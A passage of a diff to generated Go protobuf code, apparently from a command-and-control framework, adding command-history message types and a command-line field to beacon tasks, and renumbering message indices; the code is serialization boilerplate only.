file_clientpb_client_proto_rawDescGZIP(), []int{3} } func (x *ClientLogData) GetStream() string { if x != nil { - return x.Stream + return x.Stream + } + return "" +} + +func (x *ClientLogData) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +type ImplantCommand struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Stream string `protobuf:"bytes,1,opt,name=Stream,proto3" json:"Stream,omitempty"` + User string `protobuf:"bytes,2,opt,name=User,proto3" json:"User,omitempty"` + ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"` + ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"` + ExecutedAt int64 `protobuf:"varint,5,opt,name=ExecutedAt,proto3" json:"ExecutedAt,omitempty"` + Block string `protobuf:"bytes,6,opt,name=Block,proto3" json:"Block,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *ImplantCommand) Reset() { + *x = ImplantCommand{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *ImplantCommand) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ImplantCommand) ProtoMessage() {} + +func (x *ImplantCommand) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ImplantCommand.ProtoReflect.Descriptor instead. +func (*ImplantCommand) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{4} +} + +func (x *ImplantCommand) GetStream() string { + if x != nil { + return x.Stream + } + return "" +} + +func (x *ImplantCommand) GetUser() string { + if x != nil { + return x.User + } + return "" +} + +func (x *ImplantCommand) GetImplantID() string { + if x != nil { + return x.ImplantID + } + return "" +} + +func (x *ImplantCommand) GetImplantName() string { + if x != nil { + return x.ImplantName + } + return "" +} + +func (x *ImplantCommand) GetExecutedAt() int64 { + if x != nil { + return x.ExecutedAt + } + return 0 +} + +func (x *ImplantCommand) GetBlock() string { + if x != nil { + return x.Block + } + return "" +} + +func (x *ImplantCommand) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +type HistoryRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + UserOnly bool `protobuf:"varint,1,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"` + MaxLines int32 `protobuf:"varint,2,opt,name=MaxLines,proto3" json:"MaxLines,omitempty"` + ImplantID string `protobuf:"bytes,3,opt,name=ImplantID,proto3" json:"ImplantID,omitempty"` + ImplantName string `protobuf:"bytes,4,opt,name=ImplantName,proto3" json:"ImplantName,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *HistoryRequest) Reset() { + *x = HistoryRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *HistoryRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*HistoryRequest) ProtoMessage() {} + +func (x *HistoryRequest) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[5] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. +func (*HistoryRequest) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{5} +} + +func (x *HistoryRequest) GetUserOnly() bool { + if x != nil { + return x.UserOnly + } + return false +} + +func (x *HistoryRequest) GetMaxLines() int32 { + if x != nil { + return x.MaxLines + } + return 0 +} + +func (x *HistoryRequest) GetImplantID() string { + if x != nil { + return x.ImplantID + } + return "" +} + +func (x *HistoryRequest) GetImplantName() string { + if x != nil { + return x.ImplantName + } + return "" +} + +func (x *HistoryRequest) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +// History - Command history content. +type History struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + HistoryLen int32 `protobuf:"varint,2,opt,name=HistoryLen,proto3" json:"HistoryLen,omitempty"` + UserOnly bool `protobuf:"varint,3,opt,name=UserOnly,proto3" json:"UserOnly,omitempty"` + Commands []*ImplantCommand `protobuf:"bytes,4,rep,name=Commands,proto3" json:"Commands,omitempty"` + Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"` +} + +func (x *History) Reset() { + *x = History{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *History) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*History) ProtoMessage() {} + +func (x *History) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use History.ProtoReflect.Descriptor instead. +func (*History) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{6} +} + +func (x *History) GetHistoryLen() int32 { + if x != nil { + return x.HistoryLen + } + return 0 +} + +func (x *History) GetUserOnly() bool { + if x != nil { + return x.UserOnly + } + return false +} + +func (x *History) GetCommands() []*ImplantCommand { + if x != nil { + return x.Commands } - return "" + return nil } -func (x *ClientLogData) GetData() []byte { +func (x *History) GetResponse() *commonpb.Response { if x != nil { - return x.Data + return x.Response } return nil } @@ -1256,7 +1620,7 @@ type Session struct { func (x *Session) Reset() { *x = Session{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1269,7 +1633,7 @@ func (x *Session) String() string { func (*Session) ProtoMessage() {} func (x *Session) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1282,7 +1646,7 @@ func (x *Session) ProtoReflect() protoreflect.Message { // Deprecated: Use Session.ProtoReflect.Descriptor instead. func (*Session) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{2} + return file_clientpb_client_proto_rawDescGZIP(), []int{7} } func (x *Session) GetID() string { @@ -1498,7 +1862,7 @@ type Beacon struct { func (x *Beacon) Reset() { *x = Beacon{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1511,7 +1875,7 @@ func (x *Beacon) String() string { func (*Beacon) ProtoMessage() {} func (x *Beacon) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1524,7 +1888,7 @@ func (x *Beacon) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacon.ProtoReflect.Descriptor instead. func (*Beacon) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{3} + return file_clientpb_client_proto_rawDescGZIP(), []int{8} } func (x *Beacon) GetID() string { @@ -1734,7 +2098,7 @@ type Beacons struct { func (x *Beacons) Reset() { *x = Beacons{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1747,7 +2111,7 @@ func (x *Beacons) String() string { func (*Beacons) ProtoMessage() {} func (x *Beacons) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1760,7 +2124,7 @@ func (x *Beacons) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacons.ProtoReflect.Descriptor instead. func (*Beacons) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{4} + return file_clientpb_client_proto_rawDescGZIP(), []int{9} } func (x *Beacons) GetBeacons() []*Beacon { @@ -1775,21 +2139,22 @@ type BeaconTask struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"` - BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` - CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"` - State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"` - SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"` - CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"` - Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"` - Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"` - Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"` + ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"` + BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"` + State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"` + SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"` + CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"` + Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"` + Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"` + Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"` + CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"` } func (x *BeaconTask) Reset() { *x = BeaconTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1802,7 +2167,7 @@ func (x *BeaconTask) String() string { func (*BeaconTask) ProtoMessage() {} func (x *BeaconTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1815,7 +2180,7 @@ func (x *BeaconTask) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTask.ProtoReflect.Descriptor instead. func (*BeaconTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{5} + return file_clientpb_client_proto_rawDescGZIP(), []int{10} } func (x *BeaconTask) GetID() string { @@ -1881,6 +2246,13 @@ func (x *BeaconTask) GetDescription() string { return "" } +func (x *BeaconTask) GetCmdLine() []string { + if x != nil { + return x.CmdLine + } + return nil +} + type BeaconTasks struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1893,7 +2265,7 @@ type BeaconTasks struct { func (x *BeaconTasks) Reset() { *x = BeaconTasks{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1906,7 +2278,7 @@ func (x *BeaconTasks) String() string { func (*BeaconTasks) ProtoMessage() {} func (x *BeaconTasks) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1919,7 +2291,7 @@ func (x *BeaconTasks) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTasks.ProtoReflect.Descriptor instead. func (*BeaconTasks) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{6} + return file_clientpb_client_proto_rawDescGZIP(), []int{11} } func (x *BeaconTasks) GetBeaconID() string { @@ -1950,7 +2322,7 @@ type ImplantC2 struct { func (x *ImplantC2) Reset() { *x = ImplantC2{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1963,7 +2335,7 @@ func (x *ImplantC2) String() string { func (*ImplantC2) ProtoMessage() {} func (x *ImplantC2) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1976,7 +2348,7 @@ func (x *ImplantC2) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantC2.ProtoReflect.Descriptor instead. func (*ImplantC2) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{7} + return file_clientpb_client_proto_rawDescGZIP(), []int{12} } func (x *ImplantC2) GetID() string { @@ -2063,7 +2435,7 @@ type ImplantConfig struct { func (x *ImplantConfig) Reset() { *x = ImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2076,7 +2448,7 @@ func (x *ImplantConfig) String() string { func (*ImplantConfig) ProtoMessage() {} func (x *ImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2089,7 +2461,7 @@ func (x *ImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantConfig.ProtoReflect.Descriptor instead. func (*ImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{8} + return file_clientpb_client_proto_rawDescGZIP(), []int{13} } func (x *ImplantConfig) GetID() string { @@ -2421,7 +2793,7 @@ type TrafficEncoder struct { func (x *TrafficEncoder) Reset() { *x = TrafficEncoder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2434,7 +2806,7 @@ func (x *TrafficEncoder) String() string { func (*TrafficEncoder) ProtoMessage() {} func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2447,7 +2819,7 @@ func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoder.ProtoReflect.Descriptor instead. func (*TrafficEncoder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{9} + return file_clientpb_client_proto_rawDescGZIP(), []int{14} } func (x *TrafficEncoder) GetID() uint64 { @@ -2490,7 +2862,7 @@ type TrafficEncoderMap struct { func (x *TrafficEncoderMap) Reset() { *x = TrafficEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2503,7 +2875,7 @@ func (x *TrafficEncoderMap) String() string { func (*TrafficEncoderMap) ProtoMessage() {} func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2516,7 +2888,7 @@ func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderMap.ProtoReflect.Descriptor instead. func (*TrafficEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{10} + return file_clientpb_client_proto_rawDescGZIP(), []int{15} } func (x *TrafficEncoderMap) GetEncoders() map[string]*TrafficEncoder { @@ -2542,7 +2914,7 @@ type TrafficEncoderTest struct { func (x *TrafficEncoderTest) Reset() { *x = TrafficEncoderTest{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2555,7 +2927,7 @@ func (x *TrafficEncoderTest) String() string { func (*TrafficEncoderTest) ProtoMessage() {} func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2568,7 +2940,7 @@ func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTest.ProtoReflect.Descriptor instead. func (*TrafficEncoderTest) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{11} + return file_clientpb_client_proto_rawDescGZIP(), []int{16} } func (x *TrafficEncoderTest) GetName() string { @@ -2627,7 +2999,7 @@ type TrafficEncoderTests struct { func (x *TrafficEncoderTests) Reset() { *x = TrafficEncoderTests{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2640,7 +3012,7 @@ func (x *TrafficEncoderTests) String() string { func (*TrafficEncoderTests) ProtoMessage() {} func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2653,7 +3025,7 @@ func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTests.ProtoReflect.Descriptor instead. func (*TrafficEncoderTests) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{12} + return file_clientpb_client_proto_rawDescGZIP(), []int{17} } func (x *TrafficEncoderTests) GetEncoder() *TrafficEncoder { @@ -2697,7 +3069,7 @@ type ExternalImplantConfig struct { func (x *ExternalImplantConfig) Reset() { *x = ExternalImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2710,7 +3082,7 @@ func (x *ExternalImplantConfig) String() string { func (*ExternalImplantConfig) ProtoMessage() {} func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2723,7 +3095,7 @@ func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantConfig.ProtoReflect.Descriptor instead. func (*ExternalImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{13} + return file_clientpb_client_proto_rawDescGZIP(), []int{18} } func (x *ExternalImplantConfig) GetConfig() *ImplantConfig { @@ -2760,7 +3132,7 @@ type ExternalImplantBinary struct { func (x *ExternalImplantBinary) Reset() { *x = ExternalImplantBinary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2773,7 +3145,7 @@ func (x *ExternalImplantBinary) String() string { func (*ExternalImplantBinary) ProtoMessage() {} func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2786,7 +3158,7 @@ func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantBinary.ProtoReflect.Descriptor instead. func (*ExternalImplantBinary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{14} + return file_clientpb_client_proto_rawDescGZIP(), []int{19} } func (x *ExternalImplantBinary) GetName() string { @@ -2824,7 +3196,7 @@ type ImplantBuilds struct { func (x *ImplantBuilds) Reset() { *x = ImplantBuilds{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2837,7 +3209,7 @@ func (x *ImplantBuilds) String() string { func (*ImplantBuilds) ProtoMessage() {} func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2850,7 +3222,7 @@ func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantBuilds.ProtoReflect.Descriptor instead. func (*ImplantBuilds) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{15} + return file_clientpb_client_proto_rawDescGZIP(), []int{20} } func (x *ImplantBuilds) GetConfigs() map[string]*ImplantConfig { @@ -2885,7 +3257,7 @@ type ImplantStageReq struct { func (x *ImplantStageReq) Reset() { *x = ImplantStageReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2898,7 +3270,7 @@ func (x *ImplantStageReq) String() string { func (*ImplantStageReq) ProtoMessage() {} func (x *ImplantStageReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2911,7 +3283,7 @@ func (x *ImplantStageReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantStageReq.ProtoReflect.Descriptor instead. func (*ImplantStageReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{16} + return file_clientpb_client_proto_rawDescGZIP(), []int{21} } func (x *ImplantStageReq) GetBuild() []string { @@ -2951,7 +3323,7 @@ type ImplantBuild struct { func (x *ImplantBuild) Reset() { *x = ImplantBuild{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2964,7 +3336,7 @@ func (x *ImplantBuild) String() string { func (*ImplantBuild) ProtoMessage() {} func (x *ImplantBuild) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2977,7 +3349,7 @@ func (x *ImplantBuild) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantBuild.ProtoReflect.Descriptor instead. func (*ImplantBuild) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{17} + return file_clientpb_client_proto_rawDescGZIP(), []int{22} } func (x *ImplantBuild) GetID() string { @@ -3133,7 +3505,7 @@ type CompilerTarget struct { func (x *CompilerTarget) Reset() { *x = CompilerTarget{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3146,7 +3518,7 @@ func (x *CompilerTarget) String() string { func (*CompilerTarget) ProtoMessage() {} func (x *CompilerTarget) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3159,7 +3531,7 @@ func (x *CompilerTarget) ProtoReflect() protoreflect.Message { // Deprecated: Use CompilerTarget.ProtoReflect.Descriptor instead. func (*CompilerTarget) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{18} + return file_clientpb_client_proto_rawDescGZIP(), []int{23} } func (x *CompilerTarget) GetGOOS() string { @@ -3197,7 +3569,7 @@ type CrossCompiler struct { func (x *CrossCompiler) Reset() { *x = CrossCompiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3210,7 +3582,7 @@ func (x *CrossCompiler) String() string { func (*CrossCompiler) ProtoMessage() {} func (x *CrossCompiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3223,66 +3595,216 @@ func (x *CrossCompiler) ProtoReflect() protoreflect.Message { // Deprecated: Use CrossCompiler.ProtoReflect.Descriptor instead. func (*CrossCompiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{19} + return file_clientpb_client_proto_rawDescGZIP(), []int{24} +} + +func (x *CrossCompiler) GetTargetGOOS() string { + if x != nil { + return x.TargetGOOS + } + return "" +} + +func (x *CrossCompiler) GetTargetGOARCH() string { + if x != nil { + return x.TargetGOARCH + } + return "" +} + +func (x *CrossCompiler) GetCCPath() string { + if x != nil { + return x.CCPath + } + return "" +} + +func (x *CrossCompiler) GetCXXPath() string { + if x != nil { + return x.CXXPath + } + return "" +} + +type Compiler struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"` // The server's OS + GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"` // The server's Arch + Targets []*CompilerTarget `protobuf:"bytes,3,rep,name=Targets,proto3" json:"Targets,omitempty"` + CrossCompilers []*CrossCompiler `protobuf:"bytes,4,rep,name=CrossCompilers,proto3" 